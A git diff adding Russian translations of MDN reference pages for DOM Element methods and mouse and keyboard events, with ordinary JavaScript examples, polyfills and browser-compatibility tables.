text
+
Строка, которая будет проанализирована как HTML или XML и вставлена в DOM дерево документа.
+
+ +

Наглядное отображение параметра position

+ +
+
+
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+
+
+ +
Примечание:  позиции beforebegin и afterend работают только если узел имеет родительский элемент.
+ +

Пример

+ +
// <div id="one">one</div>
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
+
+// At this point, the new structure is:
+// <div id="one">one</div><div id="two">two</div>
+ +

Примечания

+ +

Соображения безопасности

+ +

Будьте осторожны при использовании вставки HTML на страницу с помощью insertAdjacentHTML(), не используете пользовательский ввод, который не был экранирован.

+ +

Не рекомендуется использовать insertAdjacentHTML(), когда требуется ввести простой текст. Используйте для этого свойство {{domxref("Node.textContent")}} или метод {{domxref("Element.insertAdjacentText()")}}. Они не будут интерпретировать текст как HTML, а вставят необработанный текст.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}{{ Spec2('DOM Parsing') }}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.insertAdjacentHTML")}}

+ +

Смотрите также

+ +

hacks.mozilla.org guest post by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.

diff --git a/files/ru/web/api/element/insertadjacenttext/index.html b/files/ru/web/api/element/insertadjacenttext/index.html new file mode 100644 index 0000000000..fa75df2851 --- /dev/null +++ b/files/ru/web/api/element/insertadjacenttext/index.html @@ -0,0 +1,118 @@ +--- +title: Element.insertAdjacentText() +slug: Web/API/Element/insertAdjacentText +translation_of: Web/API/Element/insertAdjacentText +--- +

{{APIRef("DOM")}}

+ +

The insertAdjacentText() метод помещает заданный текстовый узел в указанную позицию относительно элемента, который передан в вызове метода.

+ +

Синтаксис

+ +
element.insertAdjacentText(position, element);
+ +

Параметры

+ +
+
position
+
{{domxref("DOMString")}} позиция для вставки текста относительно элемента  element; должна быть указана в следующем виде: +
    +
  • 'beforebegin': Перед самим element.
    • +
  • 'afterbegin': Внутри самого element, перед первым child.
    • +
  • 'beforeend': Внутри самого element, после последнего child.
    • +
  • 'afterend': После самого element.
    • +
+
+
element
+
{{domxref("DOMString")}} текст, который будет помещен в заданную позицию.
+
+ +

Возвращаемое значение

+ +

Void.

+ +

Исключения

+ + + + + + + + + + + + + + +
ExceptionExplanation
SyntaxErrorУказанная position не может быть распознана.
+ +

Наглядное отображение параметра position

+ +
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+ +
Примечание: значения beforebegin и afterend работают только если targetElement находится в DOM-дереве и имеет родительский элемент.
+ +

Пример

+ +
beforeBtn.addEventListener('click', function() {
+  para.insertAdjacentText('afterbegin',textInput.value);
+});
+
+afterBtn.addEventListener('click', function() {
+  para.insertAdjacentText('beforeend',textInput.value);
+});
+ +

Посмотрите пример insertAdjacentText.html на GitHub (исходный код source code.)  Вы можете ввести любой текст в поле формы, а затем нажать кнопки Insert before (вставить до) и Insert after (вставить после) для размещения этого текста до или после существующего абзаца, используя insertAdjacentText(). Обратите внимание, что существующий текстовой узел не изменился, а произошло добавление новых текстовых узлов.

+ +

Полифилл

+ +

Можно создать polyfill для insertAdjacentText() method который будет работать в Internet Explorer 5.5 (возможно и в более ранних версиях) и последующих версиях, с помощью данного кода:

+ +
if (!Element.prototype.insertAdjacentText)
+  Element.prototype.insertAdjacentText = function(type, txt){
+    this.insertAdjacentHTML(
+      type,
+      (txt+'') // convert to string
+        .replace(/&/g, '&amp;') // embed ampersand symbols
+        .replace(/</g, '&lt;') // embed greater than symbols
+    )
+  }
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-element-insertadjacenttext', 'insertAdjacentText()')}}{{ Spec2('DOM WHATWG') }}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.insertAdjacentText")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/keydown_event/index.html b/files/ru/web/api/element/keydown_event/index.html new file mode 100644 index 0000000000..99dffec68a --- /dev/null +++ b/files/ru/web/api/element/keydown_event/index.html @@ -0,0 +1,91 @@ +--- +title: keydown +slug: Web/API/Element/keydown_event +translation_of: Web/API/Element/keydown_event +--- +
{{APIRef}}
+ +

Событие keydown срабатывает, когда клавиша была нажата.

+ +

В отличии от события {{Event("keypress")}}, событие keydown срабатывает на всех клавишах, независимо от того, есть ли у них значение.

+ + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("KeyboardEvent")}}
Event handler property{{domxref("GlobalEventHandlers.onkeydown", "onkeydown")}}
+ +

События keydown и keyup показывают то, что клавиша была нажата, в то время как keypress показывает то, какой символ был введён. Например, прописную "a" keydown и keyup сообщат как 65, а keypress сообщит как 97. Заглавную же "A" все события сообщают как 65.

+ +

События клавиатуры генерируются только в <inputs>, <textarea> и любых элементах с аттрибутом contentEditable или tabindex="-1".

+ +

Примеры

+ +

Примеры addEventListener keydown

+ +

Этот пример отображает значение KeyboardEvent.code всякий раз, когда вы нажимаете клавишу внутри <input> элемента.

+ +
<input placeholder="Кликните здесь, затем нажмите клавишу." size="40">
+<p id="log"></p>
+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keydown', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

{{EmbedLiveSample("addEventListener_keydown_example")}}

+ +

Аналог onkeydown

+ +
input.onkeydown = logKey;
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатус
{{SpecName("UI Events", "#event-type-keydown")}}{{Spec2("UI Events")}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.keydown_event")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/keyup_event/index.html b/files/ru/web/api/element/keyup_event/index.html new file mode 100644 index 0000000000..981fcbc7d5 --- /dev/null +++ b/files/ru/web/api/element/keyup_event/index.html @@ -0,0 +1,87 @@ +--- +title: keyup +slug: Web/API/Element/keyup_event +translation_of: Web/API/Element/keyup_event +--- +
{{APIRef}}
+ +

Событие keyup срабатывает, когда клавиша была отпущена.

+ + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("KeyboardEvent")}}
Event handler property{{domxref("GlobalEventHandlers.onkeyup", "onkeyup")}}
+ +

События keydown и keyup показывают то, что клавиша была нажата, в то время как keypress показывает то, какой символ был введён. Например, прописную "a" keydown и keyup сообщат как 65, а keypress сообщит как 97. Заглавную же "A" все события сообщают как 65.

+ +

Примеры

+ +

Примеры addEventListener keyup

+ +

Этот пример отображает значение {{domxref("KeyboardEvent.code")}} всякий раз, когда вы отпускаете клавишу внутри {{HtmlElement("input")}} элемента.

+ +
<input placeholder="Кликните здесь, затем нажмите и отпустите клавишу." size="40">
+<p id="log"></p>
+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keyup', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

{{EmbedLiveSample("addEventListener_keyup_example")}}

+ +

Аналог onkeyup

+ +
input.onkeyup = logKey;
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатус
{{SpecName("UI Events", "#event-type-keyup")}}{{Spec2("UI Events")}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.keyup_event")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/matches/index.html b/files/ru/web/api/element/matches/index.html new file mode 100644 index 0000000000..a8fe49cccb --- /dev/null +++ b/files/ru/web/api/element/matches/index.html @@ -0,0 +1,157 @@ +--- +title: Element.matches() +slug: Web/API/Element/matches +translation_of: Web/API/Element/matches +--- +

{{ APIRef("DOM") }}

+ +

Описание

+ +

Метод Element.matches() вернёт true или false, в зависимости от того, соответствует ли элемент указанному css-селектору.

+ +
+

В некоторых браузерах данный метод имеет нестандартное название - matchesSelector().

+
+ +

Синтаксис

+ +
var result = element.matches(selectorString)
+
+ + + +

Пример

+ +
<div id="one">Первый подопытный</div>
+<div class="someClass" id="two">Второй подопытный</div>
+
+<script type="text/javascript">
+
+  var coll = document.querySelectorAll("div");
+  for (var i = 0, len = coll.length; i < len; i++) {
+    if (coll[i].matches(".someClass")) {
+      alert(coll[i].id+": Я выжил!");
+    }else{
+      coll[i].remove();
+    }
+  }
+
+</script>
+
+ +

Вызов alert сработает только для второго элемента div, которому присвоен класс "someClass".

+ +

Исключения

+ +
+
SYNTAX_ERR
+
Указаный css-селектор не является допустимым ("/=22=1", "&@*#", "%%''23" и т.п приведут к ошибке).
+
+ +

Полифилл

+ +

Полифил будет работать только в браузерах, поддерживающих метод document.queryselectorAll.

+ +
;(function(e) {
+    var matches = e.matches || e.matchesSelector || e.webkitMatchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector;
+    !matches ? (e.matches = e.matchesSelector = function matches(selector) {
+        var matches = document.querySelectorAll(selector);
+        var th = this;
+        return Array.prototype.some.call(matches, function(e) {
+            return e === th;
+        });
+    }) : (e.matches = e.matchesSelector = matches);
+})(Element.prototype);
+ +

 

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатус
{{SpecName('DOM WHATWG', '#dom-element-matches', 'Element.prototype.matches')}}{{Spec2('DOM WHATWG')}}
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Поддерживается , но имеет иное название +

{{CompatVersionUnknown}} имеет название  webkitMatchesSelector

+ 		{{CompatGeckoDesktop("1.9.2")}} имеет название   mozMatchesSelector [1]9.0 имеет название msMatchesSelector11.5 имеет название  oMatchesSelector,
+ а с 15.0 - webkitMatchesSelector		5.0 известен под названием webkitMatchesSelector
Unprefix version{{CompatChrome("34")}}{{CompatGeckoDesktop("34")}}{{CompatUnknown}}{{CompatUnknown}}7.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Поддерживается , но имеет иное название{{CompatUnknown}}{{CompatGeckoMobile("1.9.2")}} имеет название mozMatchesSelector [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Unprefix version{{CompatUnknown}}{{CompatGeckoMobile("34")}}{{CompatUnknown}}{{CompatUnknown}}8
+
+ +

 До появления Gecko 2.0 вызов с недопустимым селектором возвращал  false, а не вызывал исключение...

diff --git a/files/ru/web/api/element/mousedown_event/index.html b/files/ru/web/api/element/mousedown_event/index.html new file mode 100644 index 0000000000..e11f5da566 --- /dev/null +++ b/files/ru/web/api/element/mousedown_event/index.html @@ -0,0 +1,147 @@ +--- +title: mousedown +slug: Web/API/Element/mousedown_event +translation_of: Web/API/Element/mousedown_event +--- +

Событие mousedown срабатывает, когда кнопка указывающего устройства (к примеру, мыши) нажата над элементом.

+ +

Общая информация

+ +
+
Спецификация
+
DOM L3
+
Интерфейс
+
{{domxref("MouseEvent")}}
+
Всплывающее
+
Да
+
Отменяемое
+
Да
+
Цель
+
Элемент
+
Действие по умолчанию
+
Различное: инициация перетаскивания, выделения текста, прокрутки или масштабирования (в сочетании с нажатием колеса при поддержке такового)
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)A count of consecutive clicks that happened in a short amount of time, incremented by one.
currentTarget {{readonlyInline}}EventTargetThe node that had the event listener attached.
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

Связанные события

+ + diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html new file mode 100644 index 0000000000..075e92ec64 --- /dev/null +++ b/files/ru/web/api/element/mouseenter_event/index.html @@ -0,0 +1,148 @@ +--- +title: 'Element: mouseenter event' +slug: Web/API/Element/mouseenter_event +translation_of: Web/API/Element/mouseenter_event +--- +
{{APIRef}}
+ +

Событие mouseenter вызывается в {{domxref("Element")}} когда указательное устройство (обычно мышь) изначально перемещается так, что его горячая точка находится в пределах элемента, в котором было запущено событие.

+ + + + + + + + + + + + + + + + + + + + +
ВсплывающееНет
ОтменяемоеНет
Интерфейс{{domxref("MouseEvent")}}
Свойство обработчика события{{domxref("GlobalEventHandlers.onmouseenter", "onmouseenter")}}
+ +

Заметки по использованию

+ +

Хотя mouseenter похоже на {{domxref("Element/mouseover_event", "mouseover")}}, mouseenter отличается тем, что он не является bubble и не отправляется никаким потомкам, когда указатель перемещается из физического пространства одного из его потомков в его собственное физическое пространство.

+ +
+
mouseenter.png
+Одно событие mouseenter отправляется каждому элементу иерархии при их вводе. Здесь 4 события отправляются четырем элементам иерархии, когда указатель достигает текста. + +
mouseover.png
+Одиночное событие наведения мыши mouseover отправляется в самый глубокий элемент дерева DOM, затем оно всплывает в иерархии, пока не будет отменено обработчиком или не достигнет корня.
+ +

При наличии глубокой иерархии количество отправляемых событий mouseenter может быть довольно большим и вызывать значительные проблемы с производительностью. В таких случаях лучше прослушивать события mouseover.

+ +

В сочетании с соответствующим событием mouseleave (которое запускается в элементе, когда мышь покидает область содержимого), событие mouseenter действует очень похоже на псевдокласс CSS {{cssxref(':hover')}}.

+ +

Примеры

+ +

В документации по mouseover есть пример илюстрирующий различия между mouseover и mouseenter.

+ +

mouseenter

+ +

В следующем тривиальном примере событие mouseenter используется для изменения границы элемента div, когда мышь входит в выделенное ему пространство. Затем он добавляет элемент в список с номером события mouseenter или mouseleave.

+ +

HTML

+ +
<div id='mouseTarget'>
+ <ul id="unorderedList">
+  <li>No events yet!</li>
+ </ul>
+</div>
+ +

CSS

+ +

Стилизация div чтобы сделать его более заметным.

+ +
#mouseTarget {
+  box-sizing: border-box;
+  width:15rem;
+  border:1px solid #333;
+}
+ +

JavaScript

+ +
var enterEventCount = 0;
+var leaveEventCount = 0;
+const mouseTarget = document.getElementById('mouseTarget');
+const unorderedList = document.getElementById('unorderedList');
+
+mouseTarget.addEventListener('mouseenter', e => {
+  mouseTarget.style.border = '5px dotted orange';
+  enterEventCount++;
+  addListItem('This is mouseenter event ' + enterEventCount + '.');
+});
+
+mouseTarget.addEventListener('mouseleave', e => {
+  mouseTarget.style.border = '1px solid #333';
+  leaveEventCount++;
+  addListItem('This is mouseleave event ' + leaveEventCount + '.');
+});
+
+function addListItem(text) {
+  // Создать новый текстовый узел, используя предоставленный текст
+  var newTextNode = document.createTextNode(text);
+
+  // Создать новый элемент li
+  var newListItem = document.createElement("li");
+
+  // Добавить текстовый узел к элементу li
+  newListItem.appendChild(newTextNode);
+
+  // Добавить вновь созданный элемент списка в список
+  unorderedList.appendChild(newListItem);
+}
+ +

Результат

+ +

{{EmbedLiveSample('mouseenter')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + +
СпецификацияСтатус
{{SpecName('UI Events', '#event-type-mouseenter', 'mouseenter')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#event-type-mouseenter', 'mouseenter')}}{{Spec2('DOM3 Events')}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.mouseenter_event")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/element/mouseleave_event/index.html b/files/ru/web/api/element/mouseleave_event/index.html new file mode 100644 index 0000000000..3e0db2c600 --- /dev/null +++ b/files/ru/web/api/element/mouseleave_event/index.html @@ -0,0 +1,319 @@ +--- +title: mouseleave +slug: Web/API/Element/mouseleave_event +translation_of: Web/API/Element/mouseleave_event +--- +
{{APIRef}}
+ +

Событие mouseleave срабатывает, когда курсор манипулятора (обычно мыши) перемещается за границы элемента.

+ +

mouseleave и {{event('mouseout')}} схожи, но отличаются тем, что mouseleave не всплывает, а mouseout всплывает.
+ Это значит, что mouseleave срабатывает, когда курсор выходит за границы элемента и всех его дочерних элементов, в то время как mouseout срабатывает, когда курсор покидает границы элемента или одного из его дочерних элементов (даже если курсор все еще находится в пределах элемента).

+ + + + + + + + + + + + +
mouseenter.pngmouseover.png
Одно mouseleave событие шлётся каждому элементу в иерархии в момент выхода курсора за их границы. Здесь 4 события рассылаются четырём элементам в иерархии когда курсор передвигается от текста к области за границей самого внешнего div элемента представленного на картинке.Одно единственное mouseout событие шлётся самому глубоколежащему элементу в DOM дереве, затем оно поднимается вверх по иерархии пока не будет отменено обработчиком или не достигнет корня.
+ +

 

+ +

Общая информация

+ +
+
Специф-ция
+
DOM L3
+
Интерфейс
+
{{domxref('MouseEvent')}}
+
Bubbles
+
Нет
+
Отменяемое
+
Нет
+
Цель
+
{{cssxref('Element')}}
+
Действие по умолчанию
+
Нет
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоТипОписание
target {{readonlyInline}}{{domxref("EventTarget")}}Целевой элемент события (вышележащий элемент в DOM дереве).
type {{readonlyInline}}{{domxref("DOMString")}}Тип события.
bubbles {{readonlyInline}}Boolean +

Поднимается ли событие вверх как принято или нет

+
cancelable {{readonlyInline}}BooleanЯвляется ли событие отменяемым или нет?
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("document.defaultView")}} (window объекта document)
detail {{readonlyInline}}long (float)0.
currentTarget {{readonlyInline}}{{domxref("EventTarget")}}Целевой узел (елемент), который используется слушателем события.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}}Для mouseover, mouseout, mouseenter и mouseleave событий: цель дополнительного события (mouseleave цель в случае наступления mouseenter события). null иначе.
screenX {{readonlyInline}}longX координата указателя мыши в глобальных (относительно экрана) координатах.
screenY {{readonlyInline}}longY координата указателя мыши в глобальных (относительно экрана) координатах.
clientX {{readonlyInline}}longX координата указателя мыши в локальных (относительно DOM содержимого) координатах.
clientY {{readonlyInline}}longY координата указателя мыши в локальных (относительно DOM содержимого) координатах.
button {{readonlyInline}}unsigned shortВсегда 0, так как нажатие любой кнопки не может произвести это событие (mouse movement does).
buttons {{readonlyInline}}unsigned shortThe buttons depressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are depressed, returns the logical sum of the values. E.g., if Left button and Right button are depressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

Примеры

+ +

The mouseout documentation has an example illustrating the difference between mouseout and mouseleave.

+ +

The following example illustrates how to use mouseout, to simulate the principle of event delegation for the mouseleave event.

+ +
<ul id="test">
+  <li>
+    <ul class="leave-sensitive">
+      <li>item 1-1</li>
+      <li>item 1-2</li>
+    </ul>
+  </li>
+  <li>
+    <ul class="leave-sensitive">
+      <li>item 2-1</li>
+      <li>item 2-2</li>
+    </ul>
+  </li>
+</ul>
+
+<script>
+  var delegationSelector = ".leave-sensitive";
+
+  document.getElementById("test").addEventListener("mouseout", function( event ) {
+    var target = event.target,
+        related = event.relatedTarget,
+        match;
+
+    // search for a parent node matching the delegation selector
+    while ( target && target != document && !( match = matches( target, delegationSelector ) ) ) {
+        target = target.parentNode;
+    }
+
+    // exit if no matching node has been found
+    if ( !match ) { return; }
+
+    // loop through the parent of the related target to make sure that it's not a child of the target
+    while ( related && related != target && related != document ) {
+        related = related.parentNode;
+    }
+
+    // exit if this is the case
+    if ( related == target ) { return; }
+
+    // the "delegated mouseleave" handler can now be executed
+    // change the color of the text
+    target.style.color = "orange";
+    // reset the color after a small amount of time
+    setTimeout(function() {
+        target.style.color = "";
+    }, 500);
+
+
+  }, false);
+
+
+  // function used to check if a DOM element matches a given selector
+  // the following code can be replaced by this IE8 compatible function: https://gist.github.com/2851541
+  function matches( elem, selector ){
+    // the matchesSelector is prefixed in most (if not all) browsers
+    return elem.matchesSelector( selector );
+  };
+</script>
+ +

Браузерная совместимость

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support30[1]{{CompatVersionUnknown}}10[2]5.5{{CompatVersionUnknown}}
+ {{CompatNo}} 15.0
+ 17.0		7[3]
On disabled form elements{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("44.0")}}[4]{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
On disabled form elements{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Реализовано в bug 236215.

+ +

[2] Реализовано в {{bug("432698")}}.

+ +

[3] Safari 7 генерирует данное событие во многих ситуациях где это не разрешено, тем самым делая целое событие бесполезным. Смотрите bug 470258 for the description of the bug (это также присутствовало в старых версиях Chrome). Safari 8 имеет правильное поведение

+ +

[4] Реализовано в {{bug("218093")}}.

+ +

See also

+ + diff --git a/files/ru/web/api/element/mouseup_event/index.html b/files/ru/web/api/element/mouseup_event/index.html new file mode 100644 index 0000000000..e3bd450c13 --- /dev/null +++ b/files/ru/web/api/element/mouseup_event/index.html @@ -0,0 +1,72 @@ +--- +title: 'Элемент: mouseup событие' +slug: Web/API/Element/mouseup_event +translation_of: Web/API/Element/mouseup_event +--- +
{{APIRef}}
+ +

Событие mouseup возникает на {{domxref("Element")}}, когда кнопка на апаратном манипуляторе курсора (на мыши или трекпаде) отпущена, в то время как указатель находится на элементе. Событие mouseup является противоположным {{domxref("Element.mousedown_event", "mousedown")}} событию.

+ + + + + + + + + + + + + + + + + + + + +
BubblesДа
Отменяемое Да
Interface{{domxref("MouseEvent")}}
Event handler property{{domxref("GlobalEventHandlers.onmouseup", "onmouseup")}}
+ +

Примеры

+ +

{{page("/en-US/docs/Web/API/Element/mousemove_event", "Examples")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-mouseup', 'mouseup')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#event-type-mouseup', 'mouseup')}}{{Spec2('DOM3 Events')}}
+ +

Браузерная совместимость

+ +

{{Compat("api.Element.mouseup_event")}}

+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/element/outerhtml/index.html b/files/ru/web/api/element/outerhtml/index.html new file mode 100644 index 0000000000..525ac3573e --- /dev/null +++ b/files/ru/web/api/element/outerhtml/index.html @@ -0,0 +1,148 @@ +--- +title: Element.outerHTML +slug: Web/API/Element/outerHTML +tags: + - Парсинг + - Парсинг DOM + - Свойство + - Сериализация + - Ссылка +translation_of: Web/API/Element/outerHTML +--- +

{{APIRef("DOM")}}

+ +

Описание

+ +

Атрибут outerHTML DOM-интерфейса {{ domxref("element") }} получает сериализованный HTML-фрагмент, описывающий элемент, включая его потомков. Можно установить замену элемента узлами, полученными из заданной строки.

+ +

Синтаксис

+ +
var content = element.outerHTML;
+
+ +

На выводе, content содержит сериализованный HTML-фрагмент, описывающий element и его потомки.

+ +
element.outerHTML = content;
+
+ +

Replaces the element with the nodes generated by parsing the string content with the parent of element as the context node for the fragment parsing algorithm.

+ +

Примеры

+ +

Получение свойства outerHTML элемента:

+ +
// HTML:
+// <div id="d"><p>Content</p><p>Further Elaborated</p></div>
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// строка '<div id="d"><p>Content</p><p>Further Elaborated</p></div>'
+// выведена в окно консоли
+
+ +

Замена ветки с помощью изменения свойства outerHTML:

+ +
// HTML:
+// <div id="container"><div id="d">Это div.</div></div>
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // логирует "DIV"
+
+d.outerHTML = "<p>Этот параграф заменил исходный div.</p>";
+console.log(container.firstChild.nodeName); // логирует "P"
+
+// div #d больше не часть дерева документа,
+// новый параграф заменил его.
+
+ +

Примечания

+ +

Если у элемента нет родительской ветки, которая не является корневой веткой документа, установка его свойства outerHTML выбросит исключение DOMException с кодом ошибки NO_MODIFICATION_ALLOWED_ERR. Например:

+ +
document.documentElement.outerHTML = "test";  // бросает DOMException
+
+ +

Also, while the element will be replaced in the document, the variable whose outerHTML property was set will still hold a reference to the original element:

+ +
var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // показывает: "P"
+p.outerHTML = "<div>Этот div заменил параграф.</div>";
+console.log(p.nodeName); // всё ещё "P";
+
+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}{{ Spec2('DOM Parsing') }}
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{ CompatGeckoDesktop("11") }}0.24.071.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("11") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

See also

+ + diff --git a/files/ru/web/api/element/queryselector/index.html b/files/ru/web/api/element/queryselector/index.html new file mode 100644 index 0000000000..e06ee20537 --- /dev/null +++ b/files/ru/web/api/element/queryselector/index.html @@ -0,0 +1,136 @@ +--- +title: Element.querySelector() +slug: Web/API/Element/querySelector +translation_of: Web/API/Element/querySelector +--- +
{{APIRef("DOM")}}
+ +

Возвращает первый элемент, являющийся потомком элемента, на который применено правило указанной группы селекторов.

+ +

Синтаксис

+ +
element = baseElement.querySelector(selectors);
+
+ + + +

Пример

+ +

Данный пример получает первый элемент style, который не имеет атрибута type или этот атрибут равен text/css, в теле (body) HTML документа:

+ +
var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+
+ +

Примечания

+ +

Возвращает null если совпадения не найдены, иначе первый найденный элемент.

+ +

Генерирует исключение SYNTAX_ERR  если указанная группа селекторов не корректна.

+ +

querySelector() был представлен в WebApps API.

+ +

Строка аргументов передаваемая querySelector() должна удовлетворять синтаксису CSS. Более подробные примеры смотрите в {{domxref("document.querySelector")}}.

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll')}}{{Spec2('DOM4')}}
{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll')}}{{Spec2('Selectors API Level 2')}}
{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll')}}{{Spec2('Selectors API Level 1')}}
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
